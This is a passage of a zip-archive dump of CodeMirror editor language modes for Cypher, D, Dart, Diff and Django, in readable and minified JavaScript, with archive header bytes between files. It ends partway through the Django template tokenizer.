a.match(/.*?'/),"string";if(/[{}\(\),\.;\[\]]/.test(b))return
d=b,"node";if("/"===b&&a.eat("/"))return
a.skipToEnd(),"comment";if(m.test(b))return
a.eatWhile(m),null;if(a.eatWhile(/[_\w\d]/),a.eat(":"))return
a.eatWhile(/[\w\d_\-]/),"atom";var c=a.current();return
i.test(c)?"builtin":j.test(c)?"def":k.test(c)||l.test(c)?"keyword":"variable"},f=function(a,b,c){return
a.context={prev:a.context,indent:a.indent,col:c,type:b}},g=function(a){return
a.indent=a.context.indent,a.context=a.context.prev},h=c.indentUnit,i=b(["abs","acos","allShortestPaths","asin","atan","atan2","avg","ceil","coalesce","collect","cos","cot","count","degrees","e","endnode","exp","extract","filter","floor","haversin","head","id","keys","labels","last","left","length","log","log10","lower","ltrim","max","min","node","nodes","percentileCont","percentileDisc","pi","radians","rand","range","reduce","rel","relationship","relationships","replace","reverse","right","round","rtrim","shortestPath","sign","sin","size","split","sqrt","startnode","stdev","stdevp","str","substring","sum","tail","tan","timestamp","toFloat","toInt","toString","trim","type","upper"]),j=b(["all","and","any","contains","exists","has","in","none","not","or","single","xor"]),k=b(["as","asc","ascending","assert","by","case","commit","constraint","create","csv","cypher","delete","desc","descending","detach","distinct","drop","else","end","ends","explain","false","fieldterminator","foreach","from","headers","in","index","is","join","limit","load","match","merge","null","on","optional","order","periodic","profile","remove","return","scan","set","skip","start","starts","then","true","union","unique","unwind","using","when","where","with","call","yield"]),l=b(["access","active","assign","all","alter","as","catalog","change","copy","create","constraint","constraints","current","database","databases","dbms","default","deny","drop","element","elements","exists","from","grant","graph","graphs","if","index","indexes","label","labels","management","match","name","names","new","node","nodes","not","of","on","or","password","populated","privileges","property","read","relationship","relationships","remove","replace","required","revoke","role","roles","set","show","start","status","stop","suspended","to","traverse","type","types","user","users","with","write"]),m=/[*+\-<>=&|~%^]/;return{startState:function(){return{tokenize:e,context:null,indent:0,col:0}},token:function(a,b){if(a.sol()&&(b.context&&null==b.context.align&&(b.context.align=!1),b.indent=a.indentation()),a.eatSpace())return
null;var
c=b.tokenize(a,b);if("comment"!==c&&b.context&&null==b.context.align&&"pattern"!==b.context.type&&(b.context.align=!0),"("===d)f(b,")",a.column());else
if("["===d)f(b,"]",a.column());else
if("{"===d)f(b,"}",a.column());else
if(/[\]\}\)]/.test(d)){for(;b.context&&"pattern"===b.context.type;)g(b);b.context&&d===b.context.type&&g(b)}else"."===d&&b.context&&"pattern"===b.context.type?g(b):/atom|string|variable/.test(c)&&b.context&&(/[\}\]]/.test(b.context.type)?f(b,"pattern",a.column()):"pattern"!==b.context.type||b.context.align||(b.context.align=!0,b.context.col=a.column()));return
c},indent:function(b,c){var
d=c&&c.charAt(0),e=b.context;if(/[\]\}]/.test(d))for(;e&&"pattern"===e.type;)e=e.prev;var
f=e&&d===e.type;return
e?"keywords"===e.type?a.commands.newlineAndIndent:e.align?e.col+(f?0:1):e.indent+(f?0:h):0}}})),a.modeExtensions.cypher={autoFormatLineBreaks:function(a){for(var
b,c,d,c=a.split("\n"),d=/\s+\b(return|where|order
by|match|with|skip|limit|create|delete|set)\b\s/g,b=0;b<c.length;b++)c[b]=c[b].replace(d,"
\n$1 ").trim();return
c.join("\n")}},a.defineMIME("application/x-cypher-query","cypher")}));PKE��[�0ncodemirror/mode/d/d.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("d", function(config, parserConfig) {
  var indentUnit = config.indentUnit,
      statementIndentUnit = parserConfig.statementIndentUnit || indentUnit,
      keywords = parserConfig.keywords || {},
      builtin = parserConfig.builtin || {},
      blockKeywords = parserConfig.blockKeywords || {},
      atoms = parserConfig.atoms || {},
      hooks = parserConfig.hooks || {},
      multiLineStrings = parserConfig.multiLineStrings;
  var isOperatorChar = /[+\-*&%=<>!?|\/]/;

  var curPunc;

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }
    if (ch == '"' || ch == "'" || ch ==
"`") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      curPunc = ch;
      return null;
    }
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      return "number";
    }
    if (ch == "/") {
      if (stream.eat("+")) {
        state.tokenize = tokenNestedComment;
        return tokenNestedComment(stream, state);
      }
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_\xa1-\uffff]/);
    var cur = stream.current();
    if (keywords.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "keyword";
    }
    if (builtin.propertyIsEnumerable(cur)) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "builtin";
    }
    if (atoms.propertyIsEnumerable(cur)) return "atom";
    return "variable";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "\\";
      }
      if (end || !(escaped || multiLineStrings))
        state.tokenize = null;
      return "string";
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function tokenNestedComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "+");
    }
    return "comment";
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }
  function pushContext(state, col, type) {
    var indent = state.indented;
    if (state.context && state.context.type ==
"statement")
      indent = state.context.indented;
    return state.context = new Context(indent, col, type, null,
state.context);
  }
  function popContext(state) {
    var t = state.context.type;
    if (t == ")" || t == "]" || t == "}")
      state.indented = state.context.indented;
    return state.context = state.context.prev;
  }

  // Interface

  return {
    startState: function(basecolumn) {
      return {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true
      };
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
      }
      if (stream.eatSpace()) return null;
      curPunc = null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta") return
style;
      if (ctx.align == null) ctx.align = true;

      if ((curPunc == ";" || curPunc == ":" || curPunc
== ",") && ctx.type == "statement")
popContext(state);
      else if (curPunc == "{") pushContext(state,
stream.column(), "}");
      else if (curPunc == "[") pushContext(state,
stream.column(), "]");
      else if (curPunc == "(") pushContext(state,
stream.column(), ")");
      else if (curPunc == "}") {
        while (ctx.type == "statement") ctx = popContext(state);
        if (ctx.type == "}") ctx = popContext(state);
        while (ctx.type == "statement") ctx = popContext(state);
      }
      else if (curPunc == ctx.type) popContext(state);
      else if (((ctx.type == "}" || ctx.type == "top")
&& curPunc != ';') || (ctx.type == "statement"
&& curPunc == "newstatement"))
        pushContext(state, stream.column(), "statement");
      state.startOfLine = false;
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null)
return CodeMirror.Pass;
      var ctx = state.context, firstChar = textAfter &&
textAfter.charAt(0);
      if (ctx.type == "statement" && firstChar ==
"}") ctx = ctx.prev;
      var closing = firstChar == ctx.type;
      if (ctx.type == "statement") return ctx.indented +
(firstChar == "{" ? 0 : statementIndentUnit);
      else if (ctx.align) return ctx.column + (closing ? 0 : 1);
      else return ctx.indented + (closing ? 0 : indentUnit);
    },

    electricChars: "{}",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    blockCommentContinue: " * ",
    lineComment: "//",
    fold: "brace"
  };
});

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  var blockKeywords = "body catch class do else enum for foreach
foreach_reverse if in interface mixin " +
                      "out scope struct switch try union unittest
version while with";

  CodeMirror.defineMIME("text/x-d", {
    name: "d",
    keywords: words("abstract alias align asm assert auto break case
cast cdouble cent cfloat const continue " +
                    "debug default delegate delete deprecated export
extern final finally function goto immutable " +
                    "import inout invariant is lazy macro module new
nothrow override package pragma private " +
                    "protected public pure ref return shared short
static super synchronized template this " +
                    "throw typedef typeid typeof volatile __FILE__
__LINE__ __gshared __traits __vector __parameters " +
                    blockKeywords),
    blockKeywords: words(blockKeywords),
    builtin: words("bool byte char creal dchar double float idouble
ifloat int ireal long real short ubyte " +
                   "ucent uint ulong ushort wchar wstring void size_t
sizediff_t"),
    atoms: words("exit failure success true false null"),
    hooks: {
      "@": function(stream, _state) {
        stream.eatWhile(/[\w\$_]/);
        return "meta";
      }
    }
  });

});
PKE��[��Yҳ�codemirror/mode/d/d.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return
b}a.defineMode("d",(function(b,c){function d(a,b){var
c=a.next();if(r[c]){var d=r[c](a,b);if(!1!==d)return
d}if('"'==c||"'"==c||"`"==c)return
b.tokenize=e(c),b.tokenize(a,b);if(/[\[\]{}\(\),;\:\.]/.test(c))return
k=c,null;if(/\d/.test(c))return
a.eatWhile(/[\w\.]/),"number";if("/"==c){if(a.eat("+"))return
b.tokenize=g,g(a,b);if(a.eat("*"))return
b.tokenize=f,f(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}if(t.test(c))return
a.eatWhile(t),"operator";a.eatWhile(/[\w\$_\xa1-\uffff]/);var
h=a.current();return
n.propertyIsEnumerable(h)?(p.propertyIsEnumerable(h)&&(k="newstatement"),"keyword"):o.propertyIsEnumerable(h)?(p.propertyIsEnumerable(h)&&(k="newstatement"),"builtin"):q.propertyIsEnumerable(h)?"atom":"variable"}function
e(a){return function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){f=!0;break}e=!e&&"\\"==d}return(f||!e&&!s)&&(c.tokenize=null),"string"}}function
f(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=null;break}d="*"==c}return"comment"}function
g(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=null;break}d="+"==c}return"comment"}function
h(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
i(a,b,c){var d=a.indented;return
a.context&&"statement"==a.context.type&&(d=a.context.indented),a.context=new
h(d,b,c,null,a.context)}function j(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
k,l=b.indentUnit,m=c.statementIndentUnit||l,n=c.keywords||{},o=c.builtin||{},p=c.blockKeywords||{},q=c.atoms||{},r=c.hooks||{},s=c.multiLineStrings,t=/[+\-*&%=<>!?|\/]/;return{startState:function(a){return{tokenize:null,context:new
h((a||0)-l,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;k=null;var
e=(b.tokenize||d)(a,b);if("comment"==e||"meta"==e)return
e;if(null==c.align&&(c.align=!0),";"!=k&&":"!=k&&","!=k||"statement"!=c.type)if("{"==k)i(b,a.column(),"}");else
if("["==k)i(b,a.column(),"]");else
if("("==k)i(b,a.column(),")");else
if("}"==k){for(;"statement"==c.type;)c=j(b);for("}"==c.type&&(c=j(b));"statement"==c.type;)c=j(b)}else
k==c.type?j(b):(("}"==c.type||"top"==c.type)&&";"!=k||"statement"==c.type&&"newstatement"==k)&&i(b,a.column(),"statement");else
j(b);return
b.startOfLine=!1,e},indent:function(b,c){if(b.tokenize!=d&&null!=b.tokenize)return
a.Pass;var
e=b.context,f=c&&c.charAt(0);"statement"==e.type&&"}"==f&&(e=e.prev);var
g=f==e.type;return"statement"==e.type?e.indented+("{"==f?0:m):e.align?e.column+(g?0:1):e.indented+(g?0:l)},electricChars:"{}",blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:"
* ",lineComment:"//",fold:"brace"}}));var
c="body catch class do else enum for foreach foreach_reverse if in
interface mixin out scope struct switch try union unittest version while
with";a.defineMIME("text/x-d",{name:"d",keywords:b("abstract
alias align asm assert auto break case cast cdouble cent cfloat const
continue debug default delegate delete deprecated export extern final
finally function goto immutable import inout invariant is lazy macro module
new nothrow override package pragma private protected public pure ref
return shared short static super synchronized template this throw typedef
typeid typeof volatile __FILE__ __LINE__ __gshared __traits __vector
__parameters "+c),blockKeywords:b(c),builtin:b("bool byte char
creal dchar double float idouble ifloat int ireal long real short ubyte
ucent uint ulong ushort wchar wstring void size_t
sizediff_t"),atoms:b("exit failure success true false
null"),hooks:{"@":function(a,b){return
a.eatWhile(/[\w\$_]/),"meta"}}})}));PKE��[�ͣppcodemirror/mode/dart/dart.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../clike/clike"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../clike/clike"],
mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var keywords = ("this super static final const abstract class
extends external factory " +
    "implements mixin get native set typedef with enum throw rethrow
" +
    "assert break case continue default in return new deferred async
await covariant " +
    "try catch finally do else for if switch while import library
export " +
    "part of show hide is as extension on yield late
required").split(" ");
  var blockKeywords = "try catch finally do else for if switch
while".split(" ");
  var atoms = "true false null".split(" ");
  var builtins = "void bool num int double dynamic var String Null
Never".split(" ");

  function set(words) {
    var obj = {};
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  function pushInterpolationStack(state) {
    (state.interpolationStack || (state.interpolationStack =
[])).push(state.tokenize);
  }

  function popInterpolationStack(state) {
    return (state.interpolationStack || (state.interpolationStack =
[])).pop();
  }

  function sizeInterpolationStack(state) {
    return state.interpolationStack ? state.interpolationStack.length : 0;
  }

  CodeMirror.defineMIME("application/dart", {
    name: "clike",
    keywords: set(keywords),
    blockKeywords: set(blockKeywords),
    builtin: set(builtins),
    atoms: set(atoms),
    hooks: {
      "@": function(stream) {
        stream.eatWhile(/[\w\$_\.]/);
        return "meta";
      },

      // custom string handling to deal with triple-quoted strings and
string interpolation
      "'": function(stream, state) {
        return tokenString("'", stream, state, false);
      },
      "\"": function(stream, state) {
        return tokenString("\"", stream, state, false);
      },
      "r": function(stream, state) {
        var peek = stream.peek();
        if (peek == "'" || peek == "\"") {
          return tokenString(stream.next(), stream, state, true);
        }
        return false;
      },

      "}": function(_stream, state) {
        // "}" is end of interpolation, if interpolation stack is
non-empty
        if (sizeInterpolationStack(state) > 0) {
          state.tokenize = popInterpolationStack(state);
          return null;
        }
        return false;
      },

      "/": function(stream, state) {
        if (!stream.eat("*")) return false
        state.tokenize = tokenNestedComment(1)
        return state.tokenize(stream, state)
      },
      token: function(stream, _, style) {
        if (style == "variable") {
          // Assume uppercase symbols are classes using variable-2
          var isUpper =
RegExp('^[_$]*[A-Z][a-zA-Z0-9_$]*$','g');
          if (isUpper.test(stream.current())) {
            return 'variable-2';
          }
        }
      }
    }
  });

  function tokenString(quote, stream, state, raw) {
    var tripleQuoted = false;
    if (stream.eat(quote)) {
      if (stream.eat(quote)) tripleQuoted = true;
      else return "string"; //empty string
    }
    function tokenStringHelper(stream, state) {
      var escaped = false;
      while (!stream.eol()) {
        if (!raw && !escaped && stream.peek() ==
"$") {
          pushInterpolationStack(state);
          state.tokenize = tokenInterpolation;
          return "string";
        }
        var next = stream.next();
        if (next == quote && !escaped && (!tripleQuoted ||
stream.match(quote + quote))) {
          state.tokenize = null;
          break;
        }
        escaped = !raw && !escaped && next ==
"\\";
      }
      return "string";
    }
    state.tokenize = tokenStringHelper;
    return tokenStringHelper(stream, state);
  }

  function tokenInterpolation(stream, state) {
    stream.eat("$");
    if (stream.eat("{")) {
      // let clike handle the content of ${...},
      // we take over again when "}" appears (see hooks).
      state.tokenize = null;
    } else {
      state.tokenize = tokenInterpolationIdentifier;
    }
    return null;
  }

  function tokenInterpolationIdentifier(stream, state) {
    stream.eatWhile(/[\w_]/);
    state.tokenize = popInterpolationStack(state);
    return "variable";
  }

  function tokenNestedComment(depth) {
    return function (stream, state) {
      var ch
      while (ch = stream.next()) {
        if (ch == "*" && stream.eat("/")) {
          if (depth == 1) {
            state.tokenize = null
            break
          } else {
            state.tokenize = tokenNestedComment(depth - 1)
            return state.tokenize(stream, state)
          }
        } else if (ch == "/" &&
stream.eat("*")) {
          state.tokenize = tokenNestedComment(depth + 1)
          return state.tokenize(stream, state)
        }
      }
      return "comment"
    }
  }

  CodeMirror.registerHelper("hintWords",
"application/dart", keywords.concat(atoms).concat(builtins));

  // This is needed to make loading through meta.js work.
  CodeMirror.defineMode("dart", function(conf) {
    return CodeMirror.getMode(conf, "application/dart");
  }, "clike");
});
PKE��[t��p�	�	
codemirror/mode/dart/dart.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../clike/clike")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../clike/clike"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b={},c=0;c<a.length;++c)b[a[c]]=!0;return b}function
c(a){(a.interpolationStack||(a.interpolationStack=[])).push(a.tokenize)}function
d(a){return(a.interpolationStack||(a.interpolationStack=[])).pop()}function
e(a){return a.interpolationStack?a.interpolationStack.length:0}function
f(a,b,d,e){function f(b,d){for(var
f=!1;!b.eol();){if(!e&&!f&&"$"==b.peek())return
c(d),d.tokenize=g,"string";var
i=b.next();if(i==a&&!f&&(!h||b.match(a+a))){d.tokenize=null;break}f=!e&&!f&&"\\"==i}return"string"}var
h=!1;if(b.eat(a)){if(!b.eat(a))return"string";h=!0}return
d.tokenize=f,f(b,d)}function g(a,b){return
a.eat("$"),a.eat("{")?b.tokenize=null:b.tokenize=h,null}function
h(a,b){return
a.eatWhile(/[\w_]/),b.tokenize=d(b),"variable"}function
i(a){return function(b,c){for(var
d;d=b.next();){if("*"==d&&b.eat("/")){if(1==a){c.tokenize=null;break}return
c.tokenize=i(a-1),c.tokenize(b,c)}if("/"==d&&b.eat("*"))return
c.tokenize=i(a+1),c.tokenize(b,c)}return"comment"}}var
j="this super static final const abstract class extends external
factory implements mixin get native set typedef with enum throw rethrow
assert break case continue default in return new deferred async await
covariant try catch finally do else for if switch while import library
export part of show hide is as extension on yield late
required".split(" "),k="try catch finally do else for
if switch while".split(" "),l="true false
null".split(" "),m="void bool num int double dynamic
var String Null Never".split("
");a.defineMIME("application/dart",{name:"clike",keywords:b(j),blockKeywords:b(k),builtin:b(m),atoms:b(l),hooks:{"@":function(a){return
a.eatWhile(/[\w\$_\.]/),"meta"},"'":function(a,b){return
f("'",a,b,!1)},'"':function(a,b){return
f('"',a,b,!1)},r:function(a,b){var
c=a.peek();return("'"==c||'"'==c)&&f(a.next(),a,b,!0)},"}":function(a,b){return
e(b)>0&&(b.tokenize=d(b),null)},"/":function(a,b){return!!a.eat("*")&&(b.tokenize=i(1),b.tokenize(a,b))},token:function(a,b,c){if("variable"==c){if(RegExp("^[_$]*[A-Z][a-zA-Z0-9_$]*$","g").test(a.current()))return"variable-2"}}}}),a.registerHelper("hintWords","application/dart",j.concat(l).concat(m)),a.defineMode("dart",(function(b){return
a.getMode(b,"application/dart")}),"clike")}));PKE��[�8�sscodemirror/mode/diff/diff.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("diff", function() {

  var TOKEN_NAMES = {
    '+': 'positive',
    '-': 'negative',
    '@': 'meta'
  };

  return {
    token: function(stream) {
      var tw_pos = stream.string.search(/[\t ]+?$/);

      if (!stream.sol() || tw_pos === 0) {
        stream.skipToEnd();
        return ("error " + (
          TOKEN_NAMES[stream.string.charAt(0)] || '')).replace(/
$/, '');
      }

      var token_name = TOKEN_NAMES[stream.peek()] || stream.skipToEnd();

      if (tw_pos === -1) {
        stream.skipToEnd();
      } else {
        stream.pos = tw_pos;
      }

      return token_name;
    }
  };
});

CodeMirror.defineMIME("text/x-diff", "diff");

});
PKE��[:
՘33
codemirror/mode/diff/diff.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("diff",(function(){var
a={"+":"positive","-":"negative","@":"meta"};return{token:function(b){var
c=b.string.search(/[\t ]+?$/);if(!b.sol()||0===c)return
b.skipToEnd(),("error
"+(a[b.string.charAt(0)]||"")).replace(/
$/,"");var
d=a[b.peek()]||b.skipToEnd();return-1===c?b.skipToEnd():b.pos=c,d}}})),a.defineMIME("text/x-diff","diff")}));PKE��[�(�o..
codemirror/mode/django/django.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"),
        require("../../addon/mode/overlay"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed",
            "../../addon/mode/overlay"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("django:inner", function() {
    var keywords = ["block", "endblock",
"for", "endfor", "true", "false",
"filter", "endfilter",
                    "loop", "none", "self",
"super", "if", "elif", "endif",
"as", "else", "import",
                    "with", "endwith",
"without", "context", "ifequal",
"endifequal", "ifnotequal",
                    "endifnotequal", "extends",
"include", "load", "comment",
"endcomment",
                    "empty", "url", "static",
"trans", "blocktrans", "endblocktrans",
"now",
                    "regroup", "lorem",
"ifchanged", "endifchanged", "firstof",
"debug", "cycle",
                    "csrf_token", "autoescape",
"endautoescape", "spaceless", "endspaceless",
                    "ssi", "templatetag",
"verbatim", "endverbatim", "widthratio"],
        filters = ["add", "addslashes",
"capfirst", "center", "cut",
"date",
                   "default", "default_if_none",
"dictsort",
                   "dictsortreversed", "divisibleby",
"escape", "escapejs",
                   "filesizeformat", "first",
"floatformat", "force_escape",
                   "get_digit", "iriencode",
"join", "last", "length",
                   "length_is", "linebreaks",
"linebreaksbr", "linenumbers",
                   "ljust", "lower",
"make_list", "phone2numeric", "pluralize",
                   "pprint", "random",
"removetags", "rjust", "safe",
                   "safeseq", "slice",
"slugify", "stringformat", "striptags",
                   "time", "timesince",
"timeuntil", "title", "truncatechars",
                   "truncatechars_html",
"truncatewords", "truncatewords_html",
                   "unordered_list", "upper",
"urlencode", "urlize",
                   "urlizetrunc", "wordcount",
"wordwrap", "yesno"],
        operators = ["==", "!=", "<",
">", "<=", ">="],
        wordOperators = ["in", "not", "or",
"and"];

    keywords = new RegExp("^\\b(" + keywords.join("|")
+ ")\\b");
    filters = new RegExp("^\\b(" + filters.join("|") +
")\\b");
    operators = new RegExp("^\\b(" +
operators.join("|") + ")\\b");
    wordOperators = new RegExp("^\\b(" +
wordOperators.join("|") + ")\\b");

    // We have to return "null" instead of null, in order to
avoid string
    // styling as the default, when using Django templates inside HTML
    // element attributes
    function tokenBase (stream, state) {
      // Attempt to identify a variable, template or comment tag
respectively
      if (stream.match("{{")) {
        state.tokenize = inVariable;
        return "tag";
      } else if (stream.match("{%")) {
        state.tokenize = inTag;
        return "tag";
      } else if (stream.match("{#")) {
        state.tokenize = inComment;
        return "comment";
      }

      // Ignore completely any stream series that do not match the
      // Django template opening tags.
      while (stream.next() != null && !stream.match(/\{[{%#]/,
false)) {}
      return null;
    }

    // A string can be included in either single or double quotes (this is
    // the delimiter). Mark everything as a string until the start
delimiter
    // occurs again.
    function inString (delimiter, previousTokenizer) {
      return function (stream, state) {
        if (!state.escapeNext && stream.eat(delimiter)) {
          state.tokenize = previousTokenizer;
        } else {
          if (state.escapeNext) {
            state.escapeNext = false;
          }

          var ch = stream.next();

          // Take into account the backslash for escaping characters, such
as
          // the string delimiter.
          if (ch == "\\") {
            state.escapeNext = true;
          }
        }

        return "string";
      };
    }

    // Apply Django template variable syntax highlighting
    function inVariable (stream, state) {
      // Attempt to match a dot that precedes a property
      if (state.waitDot) {
        state.waitDot = false;

        if (stream.peek() != ".") {
          return "null";
        }

        // Dot followed by a non-word character should be considered an
error.
        if (stream.match(/\.\W+/)) {
          return "error";
        } else if (stream.eat(".")) {
          state.waitProperty = true;
          return "null";
        } else {
          throw Error ("Unexpected error while waiting for
property.");
        }
      }

      // Attempt to match a pipe that precedes a filter
      if (state.waitPipe) {
        state.waitPipe = false;

        if (stream.peek() != "|") {
          return "null";
        }

        // Pipe followed by a non-word character should be considered an
error.
        if (stream.match(/\.\W+/)) {
          return "error";
        } else if (stream.eat("|")) {
          state.waitFilter = true;
          return "null";
        } else {
          throw Error ("Unexpected error while waiting for
filter.");
        }
      }

      // Highlight properties
      if (state.waitProperty) {
        state.waitProperty = false;
        if (stream.match(/\b(\w+)\b/)) {
          state.waitDot = true;  // A property can be followed by another
property
          state.waitPipe = true;  // A property can be followed by a filter
          return "property";
        }
      }

      // Highlight filters
      if (state.waitFilter) {
          state.waitFilter = false;
        if (stream.match(filters)) {
          return "variable-2";
        }
      }

      // Ignore all white spaces
      if (stream.eatSpace()) {
        state.waitProperty = false;
        return "null";
      }

      // Identify numbers
      if (stream.match(/\b\d+(\.\d+)?\b/)) {
        return "number";
      }

      // Identify strings
      if (stream.match("'")) {
        state.tokenize = inString("'", state.tokenize);
        return "string";
      } else if (stream.match('"')) {
        state.tokenize = inString('"', state.tokenize);
        return "string";
      }

      // Attempt to find the variable
      if (stream.match(/\b(\w+)\b/) && !state.foundVariable) {
        state.waitDot = true;
        state.waitPipe = true;  // A property can be followed by a filter
        return "variable";
      }

      // If found closing tag reset
      if (stream.match("}}")) {
        state.waitProperty = null;
        state.waitFilter = null;
        state.waitDot = null;
        state.waitPipe = null;
        state.tokenize = tokenBase;
        return "tag";
      }

      // If nothing was found, advance to the next character
      stream.next();
      return "null";
    }

    function inTag (stream, state) {
      // Attempt to match a dot that precedes a property
      if (state.waitDot) {
        state.waitDot = false;

        if (stream.peek() != ".") {
          return "null";
        }

        // Dot followed by a non-word character should be considered an
error.
        if (stream.match(/\.\W+/)) {
          return "error";
        } else if (stream.eat(".")) {
          state.waitProperty = true;
          return "null";
        } else {
          throw Error ("Unexpected error while waiting for
property.");
        }
      }

      // Attempt to match a pipe that precedes a filter
      if (state.waitPipe) {
        state.waitPipe = false;

        if (stream.peek() != "|") {
          return "null";
        }

        // Pipe followed by a non-word character should be considered an
error.
        if (stream.match(/\.\W+/)) {
          return "error";
        } else if (stream.eat("|")) {
          state.waitFilter = true;
          return "null";
        } else {
          throw Error ("Unexpected error while waiting for
filter.");
        }
      }

      // Highlight properties
      if (state.waitProperty) {
        state.waitProperty = false;
        if (stream.match(/\b(\w+)\b/)) {
          state.waitDot = true;  // A property can be followed by another
property
          state.waitPipe = true;  // A property can be followed by a filter
          return "property";
        }
      }

      // Highlight filters
      if (state.waitFilter) {
          state.waitFilter = false;
        if (stream.match(filters)) {
          return "variable-2";
        }
      }

      // Ignore all white spaces
      if (stream.eatSpace()) {
        state.waitProperty = false;
        return "null";
      }

      // Identify numbers
      if (stream.match(/\b\d+(\.\d+)?\b/)) {
        return "number";
      }

      // Identify strings
      if (stream.match("'")) {
        state.tokenize = inString("'", state.tokenize);
        return "string";
      } else if (stream.match('"')) {
        state.tokenize = inString('"', state.tokenize);
        return "string";
      }

      // Attempt to match an operator
      if (stream.match(operators)) {
        return "operator";
      }

      // Attempt to match a word operator
      if (stream.match(wordOperators)) {
        return "keyword";
      }

      // Attempt to match a keyword
      var keywordMatch = stream.match(keywords);
      if (keywordMatch) {
        if (keywordMatch[0] == "comment") {
          state.blockCommentTag = true;
        }
        return "keyword";
      }

      // Attempt to match a variable
      if (stream.match(/\b(\w+)\b/)) {
        state.waitDot = true;
        state.waitPipe = true;  // A property can be followed by a filter
        return "variable";
      }

      // If found closing tag reset
      if (stream.match("%}")) {
        state.waitProperty = null;
        state.waitFilter = null;
        state.waitDot = null;
        state.waitPipe = null;
        // If the tag that closes is a block comment tag, we want to mark
the
        // following code as comment, until the tag closes.
